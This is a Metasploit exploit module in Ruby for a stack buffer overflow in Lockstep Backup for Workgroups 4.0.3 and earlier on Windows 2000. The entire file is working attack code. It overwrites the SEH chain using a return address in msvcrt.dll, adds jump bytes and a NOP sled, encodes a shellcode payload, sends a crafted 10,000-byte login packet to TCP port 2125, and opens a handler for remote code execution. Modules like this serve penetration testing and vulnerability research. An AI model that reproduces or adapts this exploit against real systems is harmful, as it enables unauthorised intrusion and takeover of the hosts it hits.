require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Lockstep Backup for Workgroups <= 4.0.3',
            'Description'    => %q{
                This module exploits a stack buffer overflow found in
                Lockstep Backup for Workgroups <= 4.0.3. The vulnerability
                is triggered when sending a specially crafted packet that
                will cause a login failure.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://secunia.com/advisories/50260/' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space' => 1000,
                    'BadChars' => "\x00",
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX',
                        },
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 
                        'Windows 2000 ALL EN', 
                            { 
                                # msvcrt.dll
                                # pop ecx/ pop ecx/ retn
                                'Ret' => 0x780146c0, 
                            } 
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Feb 11 2013'))
 
        register_options(
            [
                Opt::RPORT(2125),
                OptString.new('USERNAME', [ true, 'Username of victim', 'msf' ])
            ], self.class )
    end
 
    def exploit
        connect
 
        uname = datastore['USERNAME']
 
        p =  "\x90" * 16
        p << payload.encoded
 
        packet = rand_text_alpha_upper(10000)
        packet[0, 8] = "BFWCA\x01\x01\x00"
        packet[8, uname.length] = "#{uname}\x00"
        packet[73, p.length] = p
        packet[7197, 4] = "\xeb\x06\x90\x90"        # jmp $+8
        packet[7201, 4] = [target.ret].pack('V')
        packet[7205, 8] = "\x90" * 8
        packet[7213, 2] = "\xff\xe7"            # jmp edi
 
        print_status("Trying target %s..." % target.name)
 
        sock.put(packet)
 
        handler
        disconnect
    end
 
end